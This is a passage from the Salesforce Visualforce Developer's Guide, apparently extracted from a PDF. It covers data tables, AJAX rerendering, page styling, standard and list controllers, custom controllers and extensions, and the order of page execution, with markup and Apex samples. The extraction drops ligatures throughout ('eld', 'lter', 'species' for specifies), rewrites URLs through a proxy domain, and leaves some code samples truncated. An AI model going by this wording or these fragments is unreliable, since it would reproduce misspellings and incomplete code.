Displaying Field Values with Visualforce on page 26 has more information about retrieving the ID of a record.
Figure 14: The <apex:pageBlockTable> Component Like other iteration components, <apex:pageBlockTable> includes two required attributes, value and var:
value takes a list of sObject records or values of any other Apex type. In the example above, {!account.Contacts}
retrieves the ID of the account that is currently in context and then traverses the relationship to retrieve the list of the associated contacts.
40
var species the name of the iteration variable. This variable is used within the body of the <apex:pageBlockTable> tag to access the elds on each contact. In this example, value="{!contact.Name}" is used on the <apex:column>
tag to display the name of the contact. The <apex:pageBlockTable> component takes one or more child <apex:column> components. The number of rows in the table is controlled by the number of records returned with the value attribute. Note: The <apex:pageBlockTable> component automatically takes on the styling of a standard Salesforce list. To display a list with your own styling, use <apex:dataTable> instead.
Note: If you have an ID attribute in the URL, this page does not display correctly. For example,
https://c.na1.visual.soma.force.com/apex/HelloWorld?id=001D000000IR35T
produces an error. You need to remove the ID from the URL. Notice the following about the page markup: This page takes advantage of standard set controllers to generate the data for the table. Use the recordSetVar attribute to specify the name of the set of data you want to use. Then, in the <apex:pageBlockTable> value, use the name of that set to populate the table with data. The <apex:inputField> tag automatically generates the correct display for the eld. In this case, as a dropdown list. The page must be enclosed in an <apex:form> tag in order to use the <apex:commandButton> tag. A form species a portion of a Visualforce page that users can interact with.
41
For example, suppose you want to add detail information about a specic contact to an Account page. The account record ID is specied by the default id query string parameter, and the contact record ID is specied by the query string parameter named cid:
<apex:page standardController="Account"> <apex:pageBlock title="Hello {!$User.FirstName}!"> You are displaying values from the {!account.name} account and a separate contact that is specified by a query string parameter. </apex:pageBlock> <apex:pageBlock title="Contacts"> <apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4" border="1"> <apex:column> <apex:facet name="header">Name</apex:facet> {!contact.Name} </apex:column> <apex:column> <apex:facet name="header">Phone</apex:facet> {!contact.Phone} </apex:column> </apex:dataTable> </apex:pageBlock> <apex:detail subject="{!$CurrentPage.parameters.cid}" relatedList="false" title="false"/>
42
</apex:page>
For this example to render properly, you must associate the Visualforce page with valid account and contact IDs in the URL. For example, if 001D000000IRt53 is the account ID and 003D000000Q0bIE is the contact ID, the resulting URL should be:
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53&cid=003D000000Q0bIE
Displaying Field Values with Visualforce on page 26 has more information about retrieving the ID of a record. Note: If you use the id parameter in a URL, it must refer to the same entity referred to in the standard controller.
43
The latter method, which uses <apex:param> tags instead of manually creating the URL, is preferable for stylistic reasons. Note: In addition to <apex:outputLink>, <apex:param> can be included in <apex:outputText> or <apex:actionFunction>.
When used with a standard controller, command links always entirely refresh the current page with the new information added to the pagein this case, an updated cid that updates the contact detail component.
<apex:page standardController="Account"> <apex:pageBlock title="Hello {!$User.FirstName}!"> You are displaying contacts from the {!account.name} account. Click a contact's name to view his or her details. </apex:pageBlock> <apex:pageBlock title="Contacts"> <apex:form> <apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4" border="1"> <apex:column> <apex:facet name="header">Name</apex:facet> <apex:commandLink> {!contact.Name} <apex:param name="cid" value="{!contact.id}"/> </apex:commandLink> </apex:column> <apex:column> <apex:facet name="header">Phone</apex:facet> {!contact.Phone} </apex:column> </apex:dataTable> </apex:form>
44
After saving this markup, refresh your browser with the id query string parameter but without the cid parameter in the URL For example,
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53
Initially the contact detail page is not rendered, but when you click a contact name the page renders the appropriate detail view. Note: If you use the id parameter in a URL, it must refer to the same entity referred to in the standard controller.
See Also:
Controller Methods
45
After saving the page, click any contact and notice how the detail component displays without a complete page refresh. Note: You cannot use the reRender attribute to update content in a table.
46
In the following example, <apex:actionStatus> supports a facet named stop that contains the component that should be displayed as soon as the action completesin this case, the detail area:
<apex:page standardController="Account"> <apex:pageBlock title="Hello {!$User.FirstName}!"> You are displaying contacts from the {!account.name} account. Click a contact's name to view his or her details. </apex:pageBlock> <apex:pageBlock title="Contacts"> <apex:form> <apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4" border="1"> <apex:column> <apex:commandLink rerender="detail"> {!contact.Name} <apex:param name="cid" value="{!contact.id}"/> </apex:commandLink> </apex:column> </apex:dataTable> </apex:form> </apex:pageBlock> <apex:outputPanel id="detail"> <apex:actionStatus startText="Requesting..."> <apex:facet name="stop"> <apex:detail subject="{!$CurrentPage.parameters.cid}" relatedList="false" title="false"/> </apex:facet> </apex:actionStatus> </apex:outputPanel> </apex:page>
Remember when you visit this page, to include an ID as part of the URL. For example,
https://Salesforce_instance/apex/ajaxAsyncStatus?id=001x000xxx3Jsxb
47
Mouse over a contact's name to view his or her details. </apex:pageBlock> <apex:pageBlock title="Contacts"> <apex:form> <apex:dataTable value="{!account.Contacts}" var="contact" cellPadding="4" border="1"> <apex:column> <apex:outputPanel> <apex:actionSupport event="onmouseover" rerender="detail"> <apex:param name="cid" value="{!contact.id}"/> </apex:actionSupport> {!contact.Name} </apex:outputPanel> </apex:column> </apex:dataTable> </apex:form> </apex:pageBlock> <apex:outputPanel id="detail"> <apex:actionStatus startText="Requesting..."> <apex:facet name="stop"> <apex:detail subject="{!$CurrentPage.parameters.cid}" relatedList="false" title="false"/> </apex:facet> </apex:actionStatus> </apex:outputPanel> </apex:page>
After saving the page, move the mouse over any contact and notice that the detail area refreshes appropriately without clicking on it.
See Also:
Using JavaScript in Visualforce Pages
48
Chapter 4
Styling Visualforce Pages
It is easy to style a Visualforce page, either by mimicking the look and feel of a standard Salesforce page, or by using your own stylesheets or content types. Many Visualforce components contain the style or styleClass attribute. Dening either of these attributes allows you to associate CSS code with the component. Custom CSS code enables you to change the default visual style of a component, including its width, height, color, and font. The following topics provide more information on modifying the appearance of Visualforce components: Using Salesforce Styles Using Custom Styles Using Content Type
For more information on customizing the Salesforce user interface, see Customizing User Interface Settings in the Salesforce online help.
49
Suppose a developer has hard coded some CSS styles to resemble Salesforce. In order to preserve the same look and feel on the Visualforce page for new styles, the developer needs to select between several stylesheets to handle the preferences of the user. The following example shows one possible way of accomplishing this:
<apex:page standardController="Account"> <apex:variable var="newUI" value="newSkinOn" rendered="{!$User.UIThemeDisplayed = 'Theme3'}"> <apex:stylesheet value="{!URLFOR($Resource.myStyles, 'newStyles.css')}" /> </apex:variable> <apex:variable var="oldUI" value="oldSkinOn" rendered="{!$User.UIThemeDisplayed != 'Theme3'}"> <apex:stylesheet value="{!URLFOR($Resource.myStyles, 'oldStyles.css')}" /> </apex:variable> <!-- Continue page design --> </apex:page>
Notice in this example that: Using the rendered attribute you can toggle which sections display Since the <apex:stylesheet> tag doesn't have a rendered attribute, you'll need to wrap it in a component that does
Even if a new look and feel is enabled for your users, they may not be running the right browser or accessibility settings to see it. Here's a code example that makes use of the $User.UITheme variable to present alternate information to the user:
<apex:page showHeader="true" tabstyle="Case"> <apex:pageMessage severity="error" rendered="{!$User.UITheme = 'Theme3' && $User.UIThemeDisplayed != 'Theme3'}"> We've noticed that the new look and feel is enabled for your organization. However, you can't take advantage of its brilliance. Please check with your administrator for possible reasons for this impediment. </apex:pageMessage>
50
Notice that although $User.UITheme equals Theme3, $User.UIThemeDisplayed doesn't, and so the page won't render to its full potential.
More information on the Salesforce style sheets is available on the Developer Force website at http://wiki.developerforce.com/index.php/Using_the_Salesforce_CSS_in_Your_Apps.
The following example shows how to reference a stylesheet that is dened as a static resource. First, create a stylesheet like the one below and upload it as a static resource named customCSS:
h1 { color: #FF0000; } p { background-color: #EEEECC; } newLink { color: #FF6600; font-weight: bold;}
51
<h1>Testing Custom Stylesheets</h1> <p>This text could go on forever...<BR /><BR />But it won't!</p> <apex:outputLink value="https://www.salesforce.com" styleClass="newLink"> Click here to switch to www.salesforce.com </apex:outputLink> </apex:page>
Tip: To shrink the size of your page, you can stop the standard Salesforce stylesheets from loading by setting the standardStylesheets attribute on the <apex:page> component to false:
<apex:page standardStylesheets="false"> <!-- page content here --> </apex:page>
Note that if you don't load these style sheets, components that require Salesforce CSS may not display correctly, and their styling may change between releases. All Visualforce components that produce HTML have pass-through style and styleClass attributes. They allow you to use your own styles and style classes to control the look and feel of any HTML tag. For example, the following code sets the class of the <apex:outputText> and applies a style:
<apex:page> <style type="text/css"> .italicText { font-style:italic; } </style> <apex:outputText styleClass="italicText" value="This is kind of fancy." /> </apex:page>
If you want to use a CSS ID, you must use CSS attribute selectors. Attribute selectors rely on the denition of an attribute, rather than an HTML tag, to apply a CSS style. You can set the id value on any Visualforce component; however, that id is sometimes preprended with the id of parent components. For instance, the id of the following code is j_id0:myId:
<apex:page> <apex:outputText id="myId" value="This is less fancy." /> </apex:page>
Your CSS should take this into consideration by applying an attribute selector:
<apex:page> <style type="text/css"> [id*=myId] { font-style: stronger; } </style> <apex:outputText id="myId" value="This is way fancy !" /> </apex:page>
If you intend to use images in your stylesheet, zip the images with the CSS le and upload it as a single static resource. For example, if your CSS le has a line like the following:
body { background-image: url("images/dots.gif") }
52
Add the entire images directory and the parent CSS le into a single zip. For example, if the zip le resource name is myStyles, refer to it like this:
<apex:stylesheet value="{!URLFOR($Resource.myStyles, 'styles.css')}"/>
Note: Remember, for this page to display account data, the ID of a valid account record must be specied as a query parameter in the URL for the page. For example,
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
Displaying Field Values with Visualforce on page 26 has more information about retrieving the ID of a record. To display this page in Excel, add the contentType attribute to the <apex:page> tag, as follows:
<apex:page standardController="Account" contenttype="application/vnd.ms-excel"> <apex:pageBlock title="Contacts"> <apex:pageBlockTable value="{!account.Contacts}" var="contact"> <apex:column value="{!contact.Name}"/> <apex:column value="{!contact.MailingCity}"/> <apex:column value="{!contact.Phone}"/> </apex:pageBlockTable> </apex:pageBlock> </apex:page>
If the page does not display properly in Excel, try a different content-type, such as text/rtf.
53
Chapter 5
Standard Controllers
A Visualforce controller is a set of instructions that specify what happens when a user interacts with the components specied in associated Visualforce markup, such as when a user clicks a button or link. Controllers also provide access to the data that should be displayed in a page, and can modify component behavior. The Force.com platform provides a number of standard controllers that contain the same functionality and logic that are used for standard Salesforce pages. For example, if you use the standard Accounts controller, clicking a Save button in a Visualforce page results in the same behavior as clicking Save on a standard Account edit page. A standard controller exists for every Salesforce object that can be queried using the Force.com API. The following topics include additional information about using standard controllers: Associating a Standard Controller with a Visualforce Page Accessing Data with a Standard Controller Using Standard Controller Actions Validation Rules and Standard Controllers Styling Pages that Use Standard Controllers Checking for Object Accessibility Custom Controllers and Controller Extensions
Note: When you use the standardController attribute on the <apex:page> tag, you cannot use the controller attribute at the same time.
54
Standard Controllers
call an action
<apex:actionFunction> denes a new JavaScript function that calls an action <apex:page> calls an action when the page is loaded
The following table describes the action methods that are supported by all standard controllers. You can associate these actions with any Visualforce component that includes an action attribute. Action
save
Description Inserts a new record or updates an existing record if it is currently in context. After this operation is nished, the save action returns the user to the original page (if known), or navigates the user to the detail page for the saved record. Inserts a new record or updates an existing record if it is currently in context. Unlike the save action, this page does not redirect the user to another page. Navigates the user to the edit page for the record that is currently in context. After this operation is nished, the edit action returns the user to the page where the user originally invoked the action.
quicksave edit
55
Standard Controllers
Action
delete cancel list
Description Deletes the record that is currently in content. After this operation is nished, the delete action either refreshes the page or sends the user to tab for the associated object. Aborts an edit operation. After this operation is nished, the cancel action returns the user to the page where the user originally invoked the edit. Returns a PageReference object of the standard list page, based on the most recently used list lter for that object. For example, if the standard controller is contact, and the last ltered list that the user viewed is New Last Week, the contacts created in the last week are displayed.
For example, the following page allows you to update an account. When you click Save, the save action is triggered on the standard controller, and the account is updated.
<apex:page standardController="Account"> <apex:form> <apex:pageBlock title="My Content" mode="edit"> <apex:pageBlockButtons> <apex:commandButton action="{!save}" value="Save"/> </apex:pageBlockButtons> <apex:pageBlockSection title="My Content Section" columns="2"> <apex:inputField value="{!account.name}"/> <apex:inputField value="{!account.site}"/> <apex:inputField value="{!account.type}"/> <apex:inputField value="{!account.accountNumber}"/> </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page>
Note: Remember, for this page to display account data, the ID of a valid account record must be specied as a query parameter in the URL for the page. For example,
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
Displaying Field Values with Visualforce on page 26 has more information about retrieving the ID of a record. Note: Command buttons and links that are associated with save, quicksave, edit, or delete actions in a standard controller are not rendered if the user does not have the appropriate permissions. Likewise if no particular record is associated with a page, command buttons and links associated with the edit and delete actions are not rendered.
56
Standard Controllers
To use the styling associated with a custom Visualforce tab, set the attribute to the name (not label) of the tab followed by a double-underscore and the word tab. For example, to use the styling of a Visualforce tab with the name Source and a label Sources, use:
<apex:page standardController="Account" tabStyle="Source__tab"> </apex:page>
Alternatively, you can override standard controller page styles with your own custom stylesheets and inline styles.
See Also:
Styling Visualforce Pages
This expression returns a true or false value. For example, to check if you have access to the standard Lead object, use the following code:
{!$ObjectType.Lead.accessible}
57
Standard Controllers
where MyCustomObject__c is the name of your custom object. To ensure that a portion of your page will display only if a user has access to an object, use the render attribute on a component. For example, to display a page block if a user has access to the Lead object, you would do the following:
<apex:page standardController="Lead"> <apex:pageBlock rendered="{!$ObjectType.Lead.accessible}"> <p>This text will display if you can see the Lead object.</p> </apex:pageBlock> </apex:page>
It is good practice to provide an alternative message if a user cannot access an object. For example:
<apex:page standardController="Lead"> <apex:pageBlock rendered="{!$ObjectType.Lead.accessible}"> <p>This text will display if you can see the Lead object.</p> </apex:pageBlock> <apex:pageBlock rendered="NOT({!$ObjectType.Lead.accessible})"> <p>Sorry, but you cannot see the data because you do not have access to the Lead object.</p> </apex:pageBlock> </apex:page>
58
Chapter 6
Standard List Controllers
Standard list controllers allow you to create Visualforce pages that can display or act on a set of records. Examples of existing Salesforce pages that work with a set of records include list pages, related lists, and mass action pages. Standard list controllers can be used with the following objects: Account Asset Campaign Case Contact Contract Idea Lead Opportunity Order Product2 Solution User Custom objects
The following topics include additional information about using standard list controllers: Associating a Standard List Controller with a Visualforce Page Accessing Data with List Controllers Using Standard List Controller Actions Using List Views with Standard List Controllers Overriding Tabs Using a Standard List Controller Adding Custom List Buttons using Standard List Controllers
59
Note: When you use the standardController attribute on the <apex:page> tag, you cannot use the controller attribute at the same time. The recordSetVar attribute not only indicates that the page uses a list controller, it can indicates the variable name of the record collection. This variable can be used to access data in the record collection.
This results in a page that lists all the account names in your organization, similar to the following:
Note: This page does not specify a lter in the request, so the page is displayed with the last used lter. For information on using lters with list controllers, see Using List Views with Standard List Controllers on page 115. As with queries in the Force.com API, you can use expression language syntax to retrieve data from related records. As with standard controllers, you can traverse up to ve levels of child-to-parent relationships and one level of parent-to-child relationships. When you are using a standard list controller, the returned records sort on the rst column of data, as dened by the current view, even if that column is not rendered. When you use an extension or custom list controller, you can control the sort method. Note: No more than 10,000 records can be returned by a list controller.
60
<apex:commandButton> creates a button that calls an action <apex:commandLink> creates a link that calls an action <apex:actionPoller> periodically calls an action <apex:actionSupport> makes an event (such as onclick, onmouseover, and so on) on another, named component,
call an action
<apex:actionFunction> denes a new JavaScript function that calls an action <apex:page> calls an action when the page is loaded
The following table describes the action methods that are supported by all standard list controllers. You can associate these actions with any Visualforce component that includes an action attribute. Action
save quicksave list cancel first last next previous
Description Inserts new records or updates an existing records that have been changed. After this operation is nished, the save action returns the user to the original page (if known) or the home page. Inserts new records or updates existing records that have been changed. Unlike the save action, this page does not redirect the user to another page. Returns a PageReference object of the standard list page, based on the most recently used list lter for that object when the filterId is not specied by the user. Aborts an edit operation. After this operation is nished, the cancel action returns the user to the page where the user originally invoked the edit. Displays the rst page of records in the set. Displays the last page of records in the set. Displays the next page of records in the set. Displays the previous page of records in the set.
In the following example, the user species a lter for viewing account records. When the user clicks Go, the standard list page is displayed, using the selected lter.
<apex:page standardController="Account" recordSetVar="accounts"> <apex:form> <apex:selectList value="{!filterid}" size="1"> <apex:selectOptions value="{!listviewoptions}"/> </apex:selectList> <apex:commandButton value="Go" action="{!list}"/> </apex:form> </apex:page>
61
</apex:dataList> </apex:pageBlockSection> <apex:panelGrid columns="2"> <apex:commandLink action="{!previous}">Previous</apex:commandlink> <apex:commandLink action="{!next}">Next</apex:commandlink> </apex:panelGrid> </apex:form> </apex:pageBlock> </apex:page>
By default, a list controller returns 20 records on the page. To control the number of records displayed on each page, use a controller extension to set the pageSize. For information on controller extensions, see Building a Controller Extension on page 67 Note: When you use pagination, an exception is thrown when there are modied rows in the collection. This includes any new rows added to the collection through an extension action. The handling of error messages in this case follows the standard behavior and can either be displayed upon the page. For example, you can use the <apex:pageMessages> or <apex:messages> component to display an error message to the user.
When you open that page, you'll see something like the following:
62
This page is associated with the standard account controller and the <apex:selectlist> component is populated by {!listviewoptions}, which evaluates to the list views the user can see. When the user chooses a value from the drop-down list, it is bound to the filterId property for the controller. When the filterId is changed, the records available to the page changes, so, when the <apex:datalist> is updated, that value is used to update the list of records available to the page. You can also use a view list on an edit page, like the following:
<apex:page standardController="Opportunity" recordSetVar="opportunities" tabStyle="Opportunity" sidebar="false"> <apex:form> <apex:pageBlock> <apex:pageMessages/> <apex:pageBlock> <apex:panelGrid columns="2"> <apex:outputLabel value="View:"/> <apex:selectList value="{!filterId}" size="1"> <apex:actionSupport event="onchange" rerender="opp_table"/> <apex:selectOptions value="{!listviewoptions}"/> </apex:selectList> </apex:panelGrid> </apex:pageBlock> <apex:pageBlockButtons> <apex:commandButton value="Save" action="{!save}"/> </apex:pageBlockButtons> <apex:pageBlockTable value="{!opportunities}" var="opp" id="opp_table"> <apex:column value="{!opp.name}"/> <apex:column headerValue="Stage"> <apex:inputField value="{!opp.stageName}"/> </apex:column> <apex:column headerValue="Close Date"> <apex:inputField value="{!opp.closeDate}"/> </apex:column> </apex:pageBlockTable> </apex:pageBlock> </apex:form> </apex:page>
Note: If the user changes the list view, an exception is thrown if there are modied rows in the collection. The handling of error messages in this case follows the standard behavior and can either be displayed upon the page. For example, you can use the <apex:pageMessages> or <apex:messages> component to display an error message to the user.
63
you see a page that allows you to update and save the Stage and Close Date on your opportunities, like the following:
For more information, see Mass-Updating Records with a Custom List Controller on page 109. Note: Command buttons and links that are associated with save, quicksave, or edit actions in a list controller are not rendered if the user does not have the appropriate permissions. Likewise if no particular record is associated with a page, command buttons and links associated with the edit actions are not rendered.
64
Chapter 7
Custom Controllers and Controller Extensions
Standard controllers can provide all the functionality you need for a Visualforce page because they include the same logic that is used for a standard page. For example, if you use the standard Accounts controller, clicking a Save button in a Visualforce page results in the same behavior as clicking Save on a standard Account edit page. However, if you want to override existing functionality, customize the navigation through an application, use callouts or Web services, or if you need ner control for how information is accessed for your page, you can write a custom controller or a controller extension using Apex: What are Custom Controllers and Controller Extensions? Building a Custom Controller Building a Controller Extension Controller Methods Controller Class Security Considerations for Creating Custom Controllers and Controller Extensions Order of Execution in a Visualforce Page Testing Custom Controllers and Controller Extensions Validation Rules and Custom Controllers Using the transient Keyword
65
The following Visualforce markup shows how the custom controller from above can be used in a page:
<apex:page controller="myController" tabStyle="Account"> <apex:form> <apex:pageBlock title="Congratulations {!$User.FirstName}"> You belong to the Account Name: <apex:inputField value="{!account.name}"/> <apex:commandButton action="{!save}" value="save"/> </apex:pageBlock> </apex:form> </apex:page>
The custom controller is associated with the page because of the controller attribute on the <apex:page> component. As with standard controllers and controller extensions, custom controller methods can be referenced with {! } notation in the associated page markup. In the example above, the getAccount method is referenced by the <apex:inputField> tag's value attribute, while the <apex:commandButton> tag references the save method with its action attribute.
66
Note: Like other Apex classes, all custom controllers run in system mode. Consequently, the current user's credentials are not used to execute controller logic, and the user's prole-based permissions and eld-level security do not apply. You can choose whether a custom controller respects a user's organization-wide defaults, role hierarchy, and sharing rules by using the with sharing keywords in the class denition. For information, see Using the with sharing or without sharing Keywords in the Force.com Apex Code Developer's Guide. A custom controller can also be used to create new records. For example:
public class NewAndExistingController { public Account account {get; private set;} public NewAndExistingController() { Id id = ApexPages.currentPage().getParameters().get('id'); account = (id == null) ? new Account() : [SELECT name, phone, industry FROM account WHERE id = :id]; } public PageReference save() { try { upsert(account); } catch(System.DMLException e) { ApexPages.addMessages(e); return null; } // After Save, navigate to the default view page: return (new ApexPages.StandardController(account)).view(); } }
The following Visualforce markup shows how the custom controller from above can be used in a page:
<apex:page controller="NewAndExistingController" tabstyle="Account"> <apex:form> <apex:pageBlock mode="edit"> <apex:pageMessages/> <apex:pageBlockSection> <apex:inputField value="{!Account.name}"/> <apex:inputField value="{!Account.phone}"/> <apex:inputField value="{!Account.industry}"/> </apex:pageBlockSection> <apex:pageBlockButtons location="bottom"> <apex:commandButton value="Save" action="{!save}"/> </apex:pageBlockButtons> </apex:pageBlock> </apex:form> </apex:page>
67
private final Account acct; // The extension constructor initializes the private member // variable acct by using the getRecord method from the standard // controller. public myControllerExtension(ApexPages.StandardController stdController) { this.acct = (Account)stdController.getRecord(); } public String getGreeting() { return 'Hello ' + acct.name + ' (' + acct.id + ')'; } }
The following Visualforce markup shows how the controller extension from above can be used in a page:
<apex:page standardController="Account" extensions="myControllerExtension"> {!greeting} <p/> <apex:form> <apex:inputField value="{!account.name}"/> <p/> <apex:commandButton value="Save" action="{!save}"/> </apex:form> </apex:page>
The extension is associated with the page through the extensions attribute on the <apex:page> component. As with all controller methods, controller extension methods can be referenced with {! } notation in page markup. In the example above, the {!greeting} expression at the top of the page references the controller extension's getGreeting method. Because this extension works in conjunction with the Account standard controller, the standard controller methods are also available. For example the value attribute in the <apex:inputField> tag retrieves the name of the account using standard controller functionality. Likewise, the <apex:commandButton> tag references the standard account save method with its action attribute. Multiple controller extensions can be dened for a single page through a comma-seperated list. This allows for overrides of methods with the same name. For example, if the following page exists:
<apex:page standardController="Account" extensions="ExtOne,ExtTwo" showHeader="false"> <apex:outputText value="{!foo}" /> </apex:page>
68
The value of the <apex:outputText> component renders as foo-One. Overrides are dened by whichever methods are dened in the leftmost extension, or, the extension that is rst in the comma-seperated list. Thus, the getFoo method of ExtOne is overriding the method of ExtTwo. Note: Like other Apex classes, all controller extensions run in system mode. Consequently, the current user's credentials are not used to execute controller logic, and the user's prole-based permissions and eld-level security do not apply. However, if a controller extension extends a standard controller, the logic from the standard controller does not execute in system mode. Instead, it executes in user mode, in which the prole-based permissions, eld-level security, and sharing rules of the current user apply. You can choose whether a controller extension respects a user's organization-wide defaults, role hierarchy, and sharing rules by using the with sharing keywords in the class denition. For information, see Using the with sharing or without sharing Keywords in the Force.com Apex Code Developer's Guide.
The following Visualforce markup shows how the custom controller from above can be used in a page:
<apex:page controller="opportunityList2Con"> <apex:pageBlock > <apex:pageBlockTable value="{!opportunities}" var="o"> <apex:column value="{!o.name}"/> <apex:column value="{!o.closedate}"/> </apex:pageBlockTable> </apex:pageBlock> </apex:page>
You can also create a custom list controller that uses anti- and semi-joins as part of the SOQL query. The following code is implemented as an extension to the account standard controller:
public with sharing class AccountPagination { private final Account acct;
69
Controller Methods
// The constructor passes in the standard controller defined below // in the Visualforce markup public AccountPagination(ApexPages.StandardSetController controller) { this.acct = (Account)controller.getRecord(); } public ApexPages.StandardSetController accountRecords{ get { if(accountRecords == null) { return new ApexPages.StandardSetController(Database.getQueryLocator( [SELECT name FROM Account WHERE Id NOT IN (SELECT AccountId FROM Opportunity WHERE IsClosed = false)])); } return accountRecords; } private set; } public List<Account> getAccountPagination() { return (List<Account>) accountRecords.getRecords(); } }
The page to display these records uses a mix of standard list controller actions, but depends on iterating over the records returned from the custom list controller:
<apex:page standardController="Account" recordSetvar="accounts" extensions="AccountPagination"> <apex:pageBlock title="Viewing Accounts"> <apex:form id="theForm"> <apex:pageBlockSection > <apex:dataList var="a" value="{!accountPagination}" type="1"> {!a.name} </apex:dataList> </apex:pageBlockSection> <apex:panelGrid columns="2"> <apex:commandLink action="{!previous}">Previous</apex:commandlink> <apex:commandLink action="{!next}">Next</apex:commandlink> </apex:panelGrid> </apex:form> </apex:pageBlock> </apex:page>
Controller Methods
Visualforce markup can use the following types of controller extension and custom controller methods: Action Getter Setter
Action Methods
Action methods perform logic or navigation when a page event occurs, such as when a user clicks a button, or hovers over an area of the page. Action methods can be called from page markup by using {! } notation in the action parameter of one of the following tags:
<apex:commandButton> creates a button that calls an action <apex:commandLink> creates a link that calls an action
70
Controller Methods
<apex:actionPoller> periodically calls an action <apex:actionSupport> makes an event (such as onclick, onmouseover, and so on) on another, named component,
call an action
<apex:actionFunction> denes a new JavaScript function that calls an action <apex:page> calls an action when the page is loaded
For example, in the sample page in Building a Custom Controller on page 66, the controller's save method is called by the action parameter of the <apex:commandButton> tag. Other examples of action methods are discussed in Dening Action Methods on page 94.
Getter Methods
Getter methods return values from a controller. Every value that is calculated by a controller and displayed in a page must have a corresponding getter method, including any Boolean variables. For example, in the sample page in Building a Custom Controller on page 66, the controller includes a getAccount method. This method allows the page markup to reference the account member variable in the controller class with {! } notation. The value parameter of the <apex:inputField> tag uses this notation to access the account, and dot notation to display the account's name. Getter methods must always be named getVariable.
Setter Methods
Setter methods pass user-specied values from page markup to a controller. Any setter methods in a controller are automatically executed before any action methods. For example, the following markup displays a page that implements basic search functionality for Leads. The associated controller includes getter and setter methods for the search box input, and then uses the search text to issue a SOSL query when the user clicks Go!. Although the markup does not explicitly call the search text setter method, it executes before the doSearch action method when a user clicks the command button:
<apex:page controller="theController"> <apex:form> <apex:pageBlock mode="edit" id="block"> <apex:pageBlockSection> <apex:pageBlockSectionItem> <apex:outputLabel for="searchText">Search Text</apex:outputLabel> <apex:panelGroup> <apex:inputText id="searchText" value="{!searchText}"/> <apex:commandButton value="Go!" action="{!doSearch}" rerender="block" status="status"/> </apex:panelGroup> </apex:pageBlockSectionItem> </apex:pageBlockSection> <apex:actionStatus id="status" startText="requesting..."/> <apex:pageBlockSection title="Results" id="results" columns="1"> <apex:pageBlockTable value="{!results}" var="l" rendered="{!NOT(ISNULL(results))}"> <apex:column value="{!l.name}"/> <apex:column value="{!l.email}"/> <apex:column value="{!l.phone}"/> </apex:pageBlockTable> </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page>
The following class is the controller for the page markup above:
public class theController { String searchText;
71
Controller Methods
List<Lead> results; public String getSearchText() { return searchText; } public void setSearchText(String s) { searchText = s; } public List<Lead> getResults() { return results; } public PageReference doSearch() { results = (List<Lead>)[FIND :searchText RETURNING Lead(Name, Email, Phone)][0]; return null; } }
While a getter method is always required to access values from a controller, it is not always necessary to include a setter method to pass values into a controller. If a Visualforce component is bound to an sObject that is stored in a controller, the sObject's elds are set automatically if changed by the user, as long as the sObject is saved or updated by a corresponding action method. An example of this behavior is shown in the sample page in Building a Custom Controller on page 66. Setter methods must always be named setVariable.
The following custom controller has the exact same methods. However, getContactMethod2 calls contactMethod1, so the variable c is always set, and always contains the correct value when returned.
public class conVsGood { Contact c; public Contact getContactMethod1() { if(c == null) c = [select id, name from contact limit 1]; return c; } public Contact getContactMethod2() {
72
return getContactMethod1(); } }
The following markup shows two pages that call these controllers. Note that the Visualforce markup is identical, just the controller name is changed:
<apex:page controller="conVsGood"> getContactMethod2(): {!contactMethod2.name}<br/> getContactMethod1(): {!contactMethod1.name} </apex:page> <apex:page controller="conVsBad"> getContactMethod2(): {!contactMethod2.name}<br/> getContactMethod1(): {!contactMethod1.name} </apex:page>
To set Apex class security from the prole detail page: 1. 2. 3. 4. 5. 6. Click Your Name Setup Manage Users Proles. Click the name of the prole you want to modify. Scroll to the Enabled Apex Class Access related list and click Edit. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add. Select the Apex classes that you want to disable from the Enabled Apex Classes list and click Remove. Click Save.
See Also:
Security Tips for Apex and Visualforce Development
73
74
For specic details of the two types of requests, examples illustrating the lifecycle of a page, and tips on how to handle execution order when writing your own custom controllers and controller extensions, see: Order of Execution for Visualforce Page Get Requests on page 75 Order of Execution for Visualforce Page Postback Requests on page 77 Examples of Visualforce Page Execution Order on page 79 Note: The maximum response size from a Visualforce page request must be below 15 MB.
75
In the diagram above the user initially requests a page, either by entering a URL or clicking a link or button. This initial page request is called the get request. 1. The constructor methods on the associated custom controller or controller extension classes are called, instantiating the controller objects. 2. If the page contains any custom components, they are created and the constructor methods on any associated custom controllers or controller extensions are executed. If attributes are set on the custom component using expressions, the expressions are evaluated after the constructors are evaluated. 3. The page then executes any assignTo attributes on any custom components on the page. After the assignTo methods are executed, expressions are evaluated, the action attribute on the <apex:page> component is evaluated, and all other method calls, such as getting or setting a property value, are made.
76
4. If the page contains an <apex:form> component, all of the information necessary to maintain the state of the database between page requests is saved as an encrypted view state. The view state is updated whenever the page is updated. 5. The resulting HTML is sent to the browser. If there are any client-side technologies on the page, such as JavaScript, the browser executes them. As the user interacts with the page, the page contacts the controller objects as required to execute action, getter, and setter methods. Once a new get request is made by the user, the view state and controller objects are deleted. Note: If the user is redirected to a page that uses the same controller and the same or a proper subset of controller extensions, a postback request is made. When a postback request is made, the view state is maintained. If the user interaction requires a page update, such as when the user clicks a Save button that triggers a save action, a postback request is made. For more information on postback requests, see Order of Execution for Visualforce Page Postback Requests on page 77. For a specic example of a get request, see Examples of Visualforce Page Execution Order on page 79.
77
1. During a postback request, the view state is decoded and used as the basis for updating the values on the page. Note: A component with the immediate attribute set to true bypasses this phase of the request. In other words, the action executes, but no validation is performed on the inputs and no data changes on the page. 2. After the view state is decoded, expressions are evaluated and set methods on the controller and any controller extensions, including set methods in controllers dened for custom components, are executed. These method calls do not update the data unless all methods are executed successfully. For example, if one of the methods updates a property and the update is not valid due to validation rules or an incorrect data type, the data is not updated and the page redisplays with the appropriate error messages.
78
